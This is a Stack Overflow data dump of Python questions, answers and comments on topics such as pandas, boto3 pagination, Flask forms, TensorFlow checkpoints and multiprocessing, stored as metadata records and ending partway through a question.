has comment: http://stackoverflow.com/comment/81591661
has body: I've got a Python dictionary, and in my first key-value pair I have a list of varying strings (varying number and varying actual string). my_dict = [{"var1":['a','b'], "var2": 34}, {"var1":['a','c'], "var2": 2}, {"var1":['c','d','e'], "var2": 17}, {"var1":['b','e'], "var2": 29}, {"var1":['a','d','e'], "var2": 10}, {"var1":['b','d'], "var2": 21}] I want to work out the average and sum for each of the different values in the var1 key value pair. So for example, for the value 'a', the sum would be 34 (1st item) + 2 (2nd item) + 10 (5th item) = 46, and for b it would be 34 (1st) + 29 (4th) + 21 (6th) = 74. I'd like a row for each value in a dataframe. I've tried Counter from collections but that doesn't fit the bill.
accepted answer: http://stackoverflow.com/a/47320327
upvote count: 0
answer count: 1
downvote count: 3
has answer: http://stackoverflow.com/a/47320327
has title: Calculating aggregate sums of non-exclusive values in Python dictionary

http://stackoverflow.com/tag/html
tags question: http://stackoverflow.com/q/47226807
tags question: http://stackoverflow.com/q/47288751
tags question: http://stackoverflow.com/q/47363020
tags question: http://stackoverflow.com/q/47230872
tags question: http://stackoverflow.com/q/47312665
tags question: http://stackoverflow.com/q/47275938
tags question: http://stackoverflow.com/q/47361515
tags question: http://stackoverflow.com/q/47343778
tags question: http://stackoverflow.com/q/47356515
tags question: http://stackoverflow.com/q/47297190
tags question: http://stackoverflow.com/q/47227554
tags question: http://stackoverflow.com/q/47228449
tags question: http://stackoverflow.com/q/47298924
tags question: http://stackoverflow.com/q/47329766
tags question: http://stackoverflow.com/q/47365014
tags question: http://stackoverflow.com/q/47380359
tags question: http://stackoverflow.com/q/47344713
tags question: http://stackoverflow.com/q/47379973
tags question: http://stackoverflow.com/q/47340957
tags question: http://stackoverflow.com/q/47236063
tags question: http://stackoverflow.com/q/47232179
tags question: http://stackoverflow.com/q/47343981
tags question: http://stackoverflow.com/q/47258599
tags question: http://stackoverflow.com/q/47281621
tags question: http://stackoverflow.com/q/47374647
tags question: http://stackoverflow.com/q/47291089
tags question: http://stackoverflow.com/q/47234576
tags question: http://stackoverflow.com/q/47254560
tags question: http://stackoverflow.com/q/47244944
tags question: http://stackoverflow.com/q/47379112
tags question: http://stackoverflow.com/q/47375736
tags question: http://stackoverflow.com/q/47264373
tags question: http://stackoverflow.com/q/47317828
tags question: http://stackoverflow.com/q/47278016
tags question: http://stackoverflow.com/q/47286646
tags question: http://stackoverflow.com/q/47299716
tags question: http://stackoverflow.com/q/47381693
tags question: http://stackoverflow.com/q/47366385
tags question: http://stackoverflow.com/q/47375469
tags question: http://stackoverflow.com/q/47368438
type: Tag
tags question: http://stackoverflow.com/q/47281693
tag name: html
tags question: http://stackoverflow.com/q/47299562
tags question: http://stackoverflow.com/q/47358380
tags question: http://stackoverflow.com/q/47242570
tags question: http://stackoverflow.com/q/47271262
tags question: http://stackoverflow.com/q/47320174
tags question: http://stackoverflow.com/q/47324062
tags question: http://stackoverflow.com/q/47355906
tags question: http://stackoverflow.com/q/47258520
tags question: http://stackoverflow.com/q/47357805
tags question: http://stackoverflow.com/q/47226399
tags question: http://stackoverflow.com/q/47375176
tags question: http://stackoverflow.com/q/47245484
tags question: http://stackoverflow.com/q/47355220
tags question: http://stackoverflow.com/q/47301125
tags question: http://stackoverflow.com/q/47320734
tags question: http://stackoverflow.com/q/47278894
tags question: http://stackoverflow.com/q/47258636
tags question: http://stackoverflow.com/q/47296488
tags question: http://stackoverflow.com/q/47363377

http://stackoverflow.com/comment/81412008
has text: I see it :( What is your pandas version? `print(pd.show_versions())` ? Last is pandas 21.0. And if use only `df['date'] = pd.to_datetime(df['date'])` first date is parsed wrong?
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47227106
score: 0

minimax
type: Tag
tags question: http://stackoverflow.com/q/47336151
tag name: minimax

http://stackoverflow.com/a/47260499
type: Answer
has body: def all_ads(request): all_ads = CreateNewAdvert.objects.filter(is_active=True) paginator = Paginator(sort_adds(all_ads), 10) # Show 25 contacts per page page = request.GET.get('page') try: all_ads_paginated = paginator.page(page) except PageNotAnInteger: # If page is not an integer, deliver first page. all_ads_paginated = paginator.page(1) except EmptyPage: # If page is out of range (e.g. 9999), deliver last page of results. all_ads_paginated = paginator.page(paginator.num_pages) context = { 'all_ads': all_ads_paginated, } return context result def sort_adds(obj): sell_adds_list = list() banner = Banners.objects.all() counter = 0 adds_counter = 0 for i in obj: sell_adds_list.append(i) adds_counter += 1 if adds_counter % 3 == 0: if not counter &gt; len(banner): sell_adds_list.append(banner[counter]) counter += 1 else: pass return sell_adds_list
score: 0
answers question: http://stackoverflow.com/q/47235583

http://stackoverflow.com/comment/81505135
type: Comment
comment on: http://stackoverflow.com/a/47246108
type: AnswerComment
has text: No problem Jeff. I did some more testing today, can you have a look at the last comment I left on this post and let me know your opinion? https://stackoverflow.com/questions/47244913/xinetd-service-python-script-doesnt-execute-properly I hope to leave you alone after this. Really appreciate your input.
score: 0

http://stackoverflow.com/q/47265346
upvote count: 3
answer count: 0
downvote count: 0
has comment: http://stackoverflow.com/comment/81488103
tagged with: amazon-dynamodb
has body: Trying to implement pagination using boto's get_paginator for query operation. I can't find proper way how to get, let's say, page num 3 without loading contents of previous two pages: import boto3 from boto3.dynamodb.conditions import Key, Attr dynamodb = boto3.resource("dynamodb", region_name="us-west-2") paginator = dynamodb.meta.client.get_paginator("query") pages = paginator.paginate(TableName="results", IndexName="year-timestamp-index", KeyConditionExpression=Key("year").eq("2017"), PaginationConfig={"PageSize": 50}) def get_content_of_page(requested_page_num, pages): pages_counter = 0 for page in pages: if pages_counter == requested_page_num - 1: return page.get("Items") pages_counter += 1 get_content_of_page(pages, 3) # will load and skip contents of # 2 pages and return content of 3rd I consider it's too expensive, is it possible to get directly 3rd page? Like Mongo's cursor.skip(page_size * (requested_page_num - 1)).limit(page_size)
has comment: http://stackoverflow.com/comment/93249408
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: pagination
tagged with: python
has title: boto3 pagination: Query contents of page by it's exact number
tagged with: boto3
score: 3

http://stackoverflow.com/a/47226898
has comment: http://stackoverflow.com/comment/81425053
has comment: http://stackoverflow.com/comment/81414879
answers question: http://stackoverflow.com/q/47226758
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81428574
accepted answer of: http://stackoverflow.com/q/47226758
has body: EDITED The facebook api seem to be spitting out dictionary inside a dictionary inside a dictionary, well thats makes it easy for developers to do any manipulations with any language. So here is what I will suggest to you You can do something like this # Create a dictionary dictionary_fb= {'media': {'data': [{'id': '17898498243076831'}, {'id': '17907011917029111'}, {'id': '17906766215033990'}, {'id': '17894813609104671'}, {'id': '17890124843094721'}]}} # Get the id dictionary_fb and make it into loops dict_id= dictionary_fb['media']['data'] df =pd.DataFrame(dict_id) df.to_csv("filename") If you want to do it more often then you can use for loops and get things done Cheers!
type: Answer
score: 0

http://stackoverflow.com/a/47276345
has comment: http://stackoverflow.com/comment/81504352
score: 0
has body: You can reverse the dictionary: value= {"A": 2, "B": 22, "C": 222, "D": 3, "E": 33,"F":333, "G": 4, "H": 44, "I": 444, "J": 5, "K": 55, "L": 555, "M": 6, "N": 66, "O": 666, "P": 7, "Q": 77, "R": 777, "S": 7777, "T": 8, "U": 88, "V": 888, "W": 9, "X": 99, "Y": 999, "Z": 9999} new_value = {b:a for a, b in value.items()} print(new_value[2]) Output: A Regarding your latest comment, you can try this: final_results = [a for a, b in value.items() if b == 22]
has comment: http://stackoverflow.com/comment/81504188
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81503887
has comment: http://stackoverflow.com/comment/81504072
answers question: http://stackoverflow.com/q/47276332
has comment: http://stackoverflow.com/comment/81504145
accepted answer of: http://stackoverflow.com/q/47276332
type: Answer
has comment: http://stackoverflow.com/comment/81504096

http://stackoverflow.com/q/47323073
downvote count: 0
has body: I want to get context page confluence, used python module atlassian-python-api https://github.com/AstroTech/atlassian-python-api found example how to create new page from atlassian import Confluence confluence = Confluence( url='http://localhost:8090', username='admin', password='admin') status = confluence.create_page( space='DEMO', title='This is the title', body='This is the body. You can use HTML tags!') print(status) How get context, example for this page http://conf01:8080/pages/viewpage.action?pageId=111113 ?
has comment: http://stackoverflow.com/comment/81617388
tagged with: python
has title: How get context Confluence using atlassian-python-api?
type: AnsweredQuestion
score: 2
tagged with: atlassian-python-api
accepted answer: http://stackoverflow.com/a/47333212
answer count: 1
has answer: http://stackoverflow.com/a/47333212
tagged with: confluence
favorite count: 0
tagged with: confluence-rest-api
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/81615934

http://stackoverflow.com/q/47321458
upvote count: 0
tagged with: for-loop
type: UnansweredQuestion
answer count: 1
downvote count: 1
tagged with: python
has body: It's the program of import multiple images and extract feature. The problem is that it's too slow I think it's because there's so many for loop. For example for q in range(0, height-32 , 32): for w in range(0 , width-32 ,32): for j in range(0,64,8): for n in range(0,64,8): How can I change my code to speed up? import numpy as np from scipy.fftpack import dct from PIL import Image import glob import matplotlib.pyplot as plt def image_open(path): image_list = [] #for filename in glob.glob('path/*.jpg'): for filename in glob.glob(path+'/*.jpg'): im=Image.open(filename) image_list.append(im) return image_list path = 'C:\\Users\\LG\\PycharmProjects\\photo' images = image_open(path) for i in range(0, len(images)): box3 = (0,0,256,256) a = images[i].crop(box3) (y,cb,cr) = a.split() width , height = y.size y.show() for q in range(0, height-32 , 32): for w in range(0 , width-32 ,32): for j in range(0,64,8): for n in range(0,64,8): print(w/32)
favorite count: 0
tagged with: performance
has comment: http://stackoverflow.com/comment/81595722
has title: Speed up Image Feature Extraction
score: -1
tagged with: loops
has comment: http://stackoverflow.com/comment/81593909
has answer: http://stackoverflow.com/a/47322552
type: Question

http://stackoverflow.com/q/47290574
type: AnsweredQuestion
downvote count: 0
possible better answer: http://stackoverflow.com/a/47297166
has answer: http://stackoverflow.com/a/47305956
score: 1
accepted answer: http://stackoverflow.com/a/47305956
linked to: http://stackoverflow.com/q/5159852
has answer: http://stackoverflow.com/a/47297166
tagged with: deployment
favorite count: 0
type: Question
has title: Set variable on shub deploy project
answer count: 2
has comment: http://stackoverflow.com/comment/81532280
tagged with: scrapinghub
upvote count: 1
has comment: http://stackoverflow.com/comment/81562261
has body: I'm trying to setup scrapy settings to work with test and production environment on local and also on scrapinghub. And I would like to know if there is any way to set this variable (for example as the following) on shub deploy: And then at settings.py: if env == "test": var1 = some_ip var2 = username elif env == "prod": var1 = some_ip var2 = username Or... maybe there is a cleaner way to this? Thank you for reading! PS: I want to automate the settings depending of the environment where is the spider/project located instead of changing the variables manually. EDIT: Found a better solution. Check the answer.
tagged with: python
tagged with: scrapy
tagged with: environment

http://stackoverflow.com/comment/81639927
type: QuestionComment
has text: Also done that ^^ plus I splited the image data of 200 to 50 images for each worker to avoid communication overhead with less worse results but still not better than when I use sequences :). I also tried async. In my opinion I might have problems to schedule the tasks such that no data is shared and afterwards I have to combine the data. The reason for that is my process pipeline. I have to take an image and compute its features. This must be done for 200 images a 2048x2480 px each. The problem is that I dont have found an example where I can put in an image array and process in parallel.
comment on: http://stackoverflow.com/q/47304750
score: 0
type: Comment

http://stackoverflow.com/q/47332802
type: UnansweredQuestion
has body: I'm new to Windows and trying to install Python but I don't have admin privileges. I've tried running the script msiexec /i python-2.7.13.amd64.msi /qb TARGETDIR=C:\UserPrograms\python (and also tried with /a) but nothing happens in the terminal. The only feedback I get is the following window pops up: but the files aren't installed. It's not really clear what is happening. Is this an error? Is it trying to tell me I typed something wrong?
has comment: http://stackoverflow.com/comment/81617525
has comment: http://stackoverflow.com/comment/81616928
has comment: http://stackoverflow.com/comment/81617187
score: 0
has title: msiexec opens popup on Python install
has comment: http://stackoverflow.com/comment/81616741
has comment: http://stackoverflow.com/comment/81617141
has comment: http://stackoverflow.com/comment/81617285
type: Question
has comment: http://stackoverflow.com/comment/81616789
has comment: http://stackoverflow.com/comment/81616674
tagged with: windows
answer count: 0
tagged with: windows-installer
tagged with: python

http://stackoverflow.com/a/47334426
type: Answer
answers question: http://stackoverflow.com/q/47333971
score: 0
has body: These two lines does the job on this example; must be tuned for biggest set. I use pandas for its excellent readers. Then re to fine string manipulations. df0=pd.read_fwf('dic.dat',colspecs=[(0,14),(14,50)],index_col=0, header=None) df = df0.applymap(lambda s : re.split(', or |, ',s.split(': ')[-1])) carine [mite, tick] accipitrine [hawk, falcon, bird of prey] acipenserine [sturgeon] aedine [mosquito (genus Aedes)] alaudine [skylark] alcelaphine [antelopes] alcidine [auk, puffin, murre] alectorine [crane] anatine [duck, mallard] anguilline [snake] You can then make a dict by d=df[1].to_dict() : {'accipitrine': ['hawk', 'falcon', 'bird of prey'], 'acipenserine': ['sturgeon'], 'aedine': ['mosquito (genus Aedes)'], 'alaudine': ['skylark'], 'alcelaphine': ['antelopes'], 'alcidine': ['auk', 'puffin', 'murre'], 'alectorine': ['crane'], 'anatine': ['duck', 'mallard'], 'anguilline': ['snake'], 'carine': ['mite', 'tick']} or use the df as is : df.loc['carine'] is ['mite', 'tick']

http://stackoverflow.com/a/47371463
has comment: http://stackoverflow.com/comment/81736486
has comment: http://stackoverflow.com/comment/134469822
has comment: http://stackoverflow.com/comment/81697175
type: Answer
score: 4
has comment: http://stackoverflow.com/comment/81696147
upvote count: 4
has comment: http://stackoverflow.com/comment/122408392
answers question: http://stackoverflow.com/q/47368904
has body: Yes, you can run each function in a different process in order to take advantage of multiple cores. Here is an example: from multiprocessing import Process def add(a,b): return a+b def sub(s, t): return s-t def mult(y,x): return y*x if __name__ == "__main__": # construct a different process for each function processes = [Process(target=add, args=(3,4)), Process(target=sub, args=(3,4)), Process(target=mult, args=(2,3))] # kick them off for process in processes: process.start() # now wait for them to finish for process in processes: process.join() There is no need to force the OS to run a specific process on a specific core. If you have multiple cores on your CPU the OS is going to be scheduling the processes across those cores. It is unlikely that you need to do any sort of CPU pinning here. The above example is too simple to see your multiple cores get engaged. Instead you can try this example which is a simple CPU bound problem variation of the above -- i.e. it is just a version that requires more computation. from multiprocessing import Process def add(a, b): total = 0 for a1, b1 in zip(a, b): total = a1 + b1 return total def sub(s, t): total = 0 for a1, b1 in zip(s, t): total = a1 - b1 return total def mult(y, x): total = 0 for a1, b1 in zip(y, x): total = a1 * b1 return total if __name__ == "__main__": # construct a different process for each function max_size = 1000000000 processes = [Process(target=add, args=(range(1, max_size), range(1, max_size))), Process(target=sub, args=(range(1, max_size), range(1, max_size))), Process(target=mult, args=(range(1, max_size), range(1, max_size)))] # kick them off for process in processes: process.start() # now wait for them to finish for process in processes: process.join() If you look at your top output (and press 1 to see the cores) you should see something like this where the three cores are being used at 100% (or close to it). That's without needing to do any CPU pinning. It is easier to trust in the OS to get the para…
downvote count: 0

http://stackoverflow.com/comment/81509528
has text: The `instance` of the `get_openstackserver` method is populated using the current `CloudServer` instance of the serializer. So `instance` = an instance of your Django `CloudServer` model. You can rename this argument whatever you think best.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47278138
score: 0

http://stackoverflow.com/comment/81519951
score: 0
comment on: http://stackoverflow.com/q/47285060
has text: `[ euros| euro]*` -> `(?: euros| euro)?` -> `(?: euros?)?`. BTW, why are you using euros in the pattern if you have dollars in the input?
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47330850
tagged with: python
tagged with: flask
downvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/47331599
has title: WTForms validation error not working
possible better answer: http://stackoverflow.com/a/47331599
score: 2
type: AnsweredQuestion
upvote count: 3
tagged with: flask-login
has answer: http://stackoverflow.com/a/47350174
has body: I am trying to create a login form wherein if the username is blank, it throws an error. from flask import Flask, render_template from flask_wtf import FlaskForm from wtforms import StringField, PasswordField, BooleanField from wtforms.validators import InputRequired, Email, length, ValidationError app = Flask(__name__) app.config['SECRET_KEY'] = 'This is a secret' class LoginForm(FlaskForm): username = StringField('username', validators=[InputRequired()]) password = PasswordField('password') @app.route('/form', methods=['GET','POST']) def form(): form=LoginForm() return render_template('form.html', form=form) if __name__== '__main__': app.run(debug=True) The html code is as below: MY FORM {{form.csrf_token}} {{ form.username.label }} {{ form.username }} {% for error in form.username.errors %} {{ error }} {% endfor %} {{ form.password }} {{ form.password.label }} Apparently, the for loop is skipped and nothing happens on clicking the submit button while the user field is null
accepted answer: http://stackoverflow.com/a/47350174
type: Question
answer count: 2
tagged with: flask-wtforms
tagged with: wtforms

http://stackoverflow.com/a/47432843
has comment: http://stackoverflow.com/comment/81821122
has comment: http://stackoverflow.com/comment/81820863
has comment: http://stackoverflow.com/comment/81852447
accepted answer of: http://stackoverflow.com/q/47283657
score: 0
has body: This will return the elements you want: import re s = '''journey (a,b) from station south chennai to station punjab chandigarh journey (c,d) from station jammu katra to city punjab chandigarh journey (e) from station journey (c,d) from station ANYSTRING jammu katra to ANYSTRING city punjab chandigarh ''' matches_single = re.findall('journey (\([^,]+,[^,]+\)) from (\S+ \S+\s{0,1}\S*) to (\S+ \S+\s{0,1}\S*)', s) for match in matches_single: print(match) matches_line = re.findall('(journey \([^,]+,[^,]+\) from \S+ \S+\s{0,1}\S* to \S+ \S+\s{0,1}\S*)', s) for match in matches_line: print(match)
answers question: http://stackoverflow.com/q/47283657
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81857626
has comment: http://stackoverflow.com/comment/81857600
has comment: http://stackoverflow.com/comment/81869432
has comment: http://stackoverflow.com/comment/81854955
has comment: http://stackoverflow.com/comment/81820993
has comment: http://stackoverflow.com/comment/81857857
has comment: http://stackoverflow.com/comment/81821254
has comment: http://stackoverflow.com/comment/81857726
type: Answer
has comment: http://stackoverflow.com/comment/81821311
has comment: http://stackoverflow.com/comment/81857779

http://stackoverflow.com/comment/109952823
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47339689
has text: @fredrik Under `[tox]` no. Possible under `[testenv]` and any other test environment `[testenv:*]`

http://stackoverflow.com/a/47257587
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/47257333
score: 1
downvote count: 0
has body: Here's some code that does the trick (although it's not the most pythonic): from pprint import pprint as pp company_name_list = [['144128', '40013', 'John', 'Dodge', 'F', 'DODGEJ'], ['144130', '40023', 'John', 'Apple', 'Z', 'APPLEJ'], ['144131', '40050', 'Gerald', 'Key', 'M', 'KEYG'], ['144138', '40074', 'Saul', 'VanWinkle', 'VANWINKLE']] id_page_list = [[144128, 1], [144138, 12], [144130, 6], [144131, 9], [40013, 153], [40074, 310], [40023, 210], [40050, 250]] if __name__ == "__main__": id_str_page_list = [[str(item[0]), item[1]] for item in id_page_list] for employee in company_name_list: pages_list = list() for id_page in id_str_page_list: if id_page[0] == employee[0] or \ id_page[0] == employee[1]: pages_list.append(id_page[1]) if pages_list: employee.append(pages_list) pp(company_name_list) Notes: I converted the integer ids from id_str_page to strings and saved them into id_str_page_list using [Python]: List Comprehensions to do all the conversions at once Then I iterate on each employee and if one of its ids is found on the 2nd list on the 1st position, I "save" page number in another list, which at the end (if not empty) I append it to the employee list I renamed some of the variables to be [Python]: PEP 8 -- Style Guide for Python Code compliant Output: c:\Work\Dev\StackOverflow\q47257333&gt;"c:\Work\Dev\VEnvs\py35x64_test\Scripts\python.exe" a.py [['144128', '40013', 'John', 'Dodge', 'F', 'DODGEJ', [1, 153]], ['144130', '40023', 'John', 'Apple', 'Z', 'APPLEJ', [6, 210]], ['144131', '40050', 'Gerald', 'Key', 'M', 'KEYG', [9, 250]], ['144138', '40074', 'Saul', 'VanWinkle', 'VANWINKLE', [12, 310]]]

http://stackoverflow.com/q/47287609
favorite count: 0
type: AnsweredQuestion
downvote count: 0
has body: I have a database in sqlite and followed this tutorial on how to create it. I checked, the database exists and contains values. I entered following SQLAlchemy URI in the web interface of the superset: sqlite:///Users/me/Documents/cancellation/item/eventlog.db and got following error: ERROR: {"error": "Connection failed!\n\nThe error message returned was:\n'NoneType' object has no attribute 'get_password_masked_url_from_uri'"} I do not understand why there should be a password, if in the documentation there are not passwords specified: http://docs.sqlalchemy.org/en/rel_1_0/core/engines.html#sqlite Code: sqlite_file = 'eventlog.db' # the DB file conn = sqlite3.connect(sqlite_file) eventlog.to_sql('eventlog', conn, if_exists='replace', index=False) from sqlalchemy import create_engine &gt;engine = create_engine('sqlite:////Users/me/Documents/cancellation/item/eventlog.db)
tagged with: apache-superset
has comment: http://stackoverflow.com/comment/81525187
has comment: http://stackoverflow.com/comment/81525282
tagged with: sqlite
has title: Superset cannot connect to my Sqlite database
type: Question
score: 5
upvote count: 5
answer count: 1
has answer: http://stackoverflow.com/a/47292305
tagged with: python
accepted answer: http://stackoverflow.com/a/47292305

http://stackoverflow.com/comment/81493404
type: Comment
score: 0
comment on: http://stackoverflow.com/a/47269036
type: AnswerComment
has text: Assuming you store the response in a variable called response, you should manage to get it by calling response["contentName"]

http://stackoverflow.com/a/47374902
has body: I would try to solve this task with a simpler approach as follows: import json import pandas as pd df = pd.read_csv('test.csv') l_data = [] data = {} for key,grp in df.groupby('date'): data['date'] = key data['details'] = df.loc[df['date'] == key]'name','value'.to_json(orient='records') l_data.append(data) In [32]: print(json.dumps(l_data)) Out[32]: [ { "date":"1/2/13", "details":[ { "name":"Quick Serve", "value":422847 }, { "name":"Restaurant", "value":1582848 }, { "name":"Retail", "value":394358 } ] }, { "date":"1/2/13", "details":[ { "name":"Quick Serve", "value":422847 }, { "name":"Restaurant", "value":1582848 }, { "name":"Retail", "value":394358 } ] } ]
type: Answer
score: 2
upvote count: 2
accepted answer of: http://stackoverflow.com/q/47374290
downvote count: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47374290

http://stackoverflow.com/comment/81712014
type: QuestionComment
comment on: http://stackoverflow.com/q/47379834
has text: Awesome. Thanks Patrick. I thought for a moment that I couldn't convert a generator function into a gen expression.
score: 0
type: Comment

http://stackoverflow.com/a/47330975
has comment: http://stackoverflow.com/comment/81612763
has comment: http://stackoverflow.com/comment/81612943
type: Answer
has comment: http://stackoverflow.com/comment/81614963
answers question: http://stackoverflow.com/q/47330666
has body: This method accomplishes the effect you are after, and in much fewer lines: nList = [] for n in range(5): #Takes an input "5 3.5 5 2 3" converts it to [5, 3.5, 5, 2, 3] listItems = list(map(eval, input("Numbers for sub-list: ").split())) #Append the list to the nList nList.append(listItems) print(nList) So instead of nesting two loops, in the 'listItem' variable it simply takes the input as a string: "5 3.5 2" Splits it: input().split() ["5", "3.5", "2"] Then maps each item to 'eval' which chooses float or integer depending on the string: list(map(eval, input().split())) [5, 3.5, 2] Important note: 'eval' can be a dangerous command to use, be sure to look up the documentation on it extensively before using it further. Check the comments below for more details. Alternatively If you'd rather not use eval, consider this solution: nList = [] for n in range(5): itemList = input("Numbers to add: ").split() subList = [] for item in itemList: if "." in item: item = float(item) else: item = int(item) subList.append(item) nList.append(subList) print(nList)
has comment: http://stackoverflow.com/comment/81614561
has comment: http://stackoverflow.com/comment/81613747
has comment: http://stackoverflow.com/comment/81615233
score: 0
has comment: http://stackoverflow.com/comment/81612667
has comment: http://stackoverflow.com/comment/81613209

http://stackoverflow.com/q/47254705
has title: Unable to save and restore a trained TensorFlow Model
possible better answer: http://stackoverflow.com/a/47282582
tagged with: python
has answer: http://stackoverflow.com/a/47281230
accepted answer: http://stackoverflow.com/a/47281230
has answer: http://stackoverflow.com/a/47282582
tagged with: machine-learning-model
upvote count: 2
has body: I just read the Deep MNIST for Experts tutorial and modified the mnist_deep.py code to save the trained model using saver = tf.train.Saver() before creating the session and saver.save(sess, './mnist_deep_model', global_step=2000) after the for loop training the model. It appears to be correctly saved since I got the four following files in my working folder: checkpoint mnist_deep_model-2000.data-00000-of-00001 mnist_deep_model-2000.indexs mnist_deep_model-2000.meta I also modified the mnist_deep.py adding the two following functions to be able to test the model on individual test images, one by one: def indexMax(list): """indexMax returns the index of the max element of the list.""" return list.index(max(list)) def identifyDigitInImage(sess, x, y_conv, keep_prob, image): """identifyDigitInImage apply the trained model to given image to identify the represented digit.""" result = sess.run(y_conv, {x:[image], keep_prob: 1.0})[0].tolist() return indexMax(result) I also added at the end of the main function a loop in which I randomly choose one test image in the test set and try to apply the trained model to each of them with this function. It seems to work since I get the same accuracy in this test loop: 99.2% Then I wrote a second program: mnist_deep_restore_trained_model.py (also based on the mnist_deep.py source code) trying to restore the previously saved trained model and apply test images to it expecting to get the same accuracy. Of course, I removed of this program all the code required to create, train and test the model (the deepnn() function and all related functions, tensors creation: x = tf.placeholder(tf.float32, [None, 784]), y_conv, keep_prob = deepnn(x), loss, optimizer, and accuracy stuff...) and I simply restored the saved model this way: (once the session is open) saver = tf.train.import_meta_graph('./mnist_deep_model-2000.meta') saver.restore(sess, tf.train.latest_checkpoint('./')) I also removed the global variables initialization at the beginning …
score: 2
answer count: 2
downvote count: 0
tagged with: restore
tagged with: tensorflow
favorite count: 0
type: Question
type: AnsweredQuestion
tagged with: conv-neural-network

http://stackoverflow.com/q/47370089
has comment: http://stackoverflow.com/comment/81692833
has body: I have a dictionary containing the following key-value pairs: d={'Alice':'x','Bob':'y','Chloe':'z'} I want to replace the lower case variables(values) by the constants(keys) in any given string. For example, if my string is: A(x)B(y)C(x,z) how do I replace the characters in order to get a resultant string of : A(Alice)B(Bob)C(Alice,Chloe) Should I use regular expressions?
has comment: http://stackoverflow.com/comment/81692817
possible better answer: http://stackoverflow.com/a/47370357
has comment: http://stackoverflow.com/comment/81693038
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47370357
has answer: http://stackoverflow.com/a/47370450
has comment: http://stackoverflow.com/comment/81692806
has answer: http://stackoverflow.com/a/47370443
answer count: 5
accepted answer: http://stackoverflow.com/a/47370314
tagged with: python
tagged with: regex
has answer: http://stackoverflow.com/a/47370401
has answer: http://stackoverflow.com/a/47370314
type: AnsweredQuestion
has title: How to replace text between parentheses in Python?
score: 0
upvote count: 2
downvote count: 2

http://stackoverflow.com/q/47297022
tagged with: influxdb-python
answer count: 1
tagged with: influxdb
has title: accessing timestamps using python in influx db
downvote count: 0
has answer: http://stackoverflow.com/a/55117057
score: 1
favorite count: 0
has body: I'm connecting to an influx db using python. Using built in dataframe tools I am successfully accessing data and am able to do everything I'd like, accept I can't access the timestamp values. For example: import sys from influxdb import DataFrameClient reload(sys) sys.setdefaultencoding('utf-8') user = 'reader' password = 'oddstringtoconfusebadguys' dbname = 'autoweights' host = '55.777.244.112' protocol = 'line' port = 8086 client = DataFrameClient(host,port=8086,username=user,password=password, database=dbname,verify_ssl=False,ssl=True) results = client.query("select * from measurementname") df = results['measurementname'] for index, row in df.iterrows(): print row results look like this Name: 2017-11-14 22:11:23.534395882+00:00, dtype: object host C4:27:EB:D7:D9:70 value 327 I can easily access row['host'] and row['value']. The date/time stamp is obviously important but try as I might I can't find an approach to get the values.
type: Question
upvote count: 1
tagged with: python
type: UnansweredQuestion

http://stackoverflow.com/q/47243861
type: Question
tagged with: split
has answer: http://stackoverflow.com/a/47243919
answer count: 2
has comment: http://stackoverflow.com/comment/81438243
has comment: http://stackoverflow.com/comment/81438528
has comment: http://stackoverflow.com/comment/81438216
downvote count: 0
has title: Pandas - Split every element of column in dataframe and add to list
has comment: http://stackoverflow.com/comment/81438572
upvote count: 1
tagged with: python
possible better answer: http://stackoverflow.com/a/47243919
has body: So I have a dataframe that has a column like the following: Fruit apple;banana pear;apple;peach blueberry;durian;apple;peach banana;grape;orange . and so on. I want to create an end list where I can get the following list: fruitList = ['apple','banana','pear','apple','peach','blueberry','durian','peach','banana','grape','orange'] How would I do this? I managed to do this for a single row like the following: fruitList.extend(df['Fruit'].iloc[0].split(';')) #fruitList = ['apple','banana'] But of course, that only works for one row... how do I generalize this? My plan is just to count the fruit and get the top 10 fruit counts. My end goal is just to keep those rows that include a top 10 fruit... but to get there, how would I come up with fruitList in the first place?
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81438387
tagged with: pandas
score: 1
accepted answer: http://stackoverflow.com/a/47243974
favorite count: 0
has answer: http://stackoverflow.com/a/47243974

http://stackoverflow.com/comment/81503531
score: 0
type: AnswerComment
has text: But d[keyword] is still a key, so isn't it a dict?
comment on: http://stackoverflow.com/a/47275862
type: Comment

http://stackoverflow.com/a/47381234
upvote count: 1
downvote count: 1
answers question: http://stackoverflow.com/q/47380999
score: 0
has body: This will do the job: import itertools for i in itertools.product(range(1, 7), repeat=4): print(i) Keep in mind that i is a Tuple
type: Answer

http://stackoverflow.com/q/47312109
accepted answer: http://stackoverflow.com/a/47314399
tagged with: dictionary
has comment: http://stackoverflow.com/comment/81575334
type: AnsweredQuestion
score: 0
has title: How to insert from two lists into a list of dictionaries with identical keynames in Python 3.6.1
tagged with: list
answer count: 2
possible better answer: http://stackoverflow.com/a/47312269
has comment: http://stackoverflow.com/comment/81575000
has answer: http://stackoverflow.com/a/47312269
has comment: http://stackoverflow.com/comment/81575225
has answer: http://stackoverflow.com/a/47314399
type: Question
has body: I am a newbie to Python and dictionaries. Using Python 3.6.1. I have googled similar issues, but it seems like solutions that others use involve dictionaries with different keys, and that many answers are related to older versions of Python. Any help is appreciated! I have the following list of dictionaries that returns this when printed: [{'Coordinate': array([None, None], dtype=object), 'Height': None}, {'Coordinate': array([None, None], dtype=object), 'Height': None}, {'Coordinate': array([None, None], dtype=object), 'Height': None}, {'Coordinate': array([None, None], dtype=object), 'Height': None}, {'Coordinate': array([None, None], dtype=object), 'Height': None}, {'Coordinate': array([None, None], dtype=object), 'Height': None}, {'Coordinate': array([None, None], dtype=object), 'Height': None}, {'Coordinate': array([None, None], dtype=object), 'Height': None}, {'Coordinate': array([None, None], dtype=object), 'Height': None}, {'Coordinate': array([None, None], dtype=object), 'Height': None}] I have the following lists from which I want to insert the values into the above list of dictionaries: coordkeys = ['Coordinate', 'Coordinate', 'Coordinate', 'Coordinate', 'Coordinate', 'Coordinate', 'Coordinate', 'Coordinate', 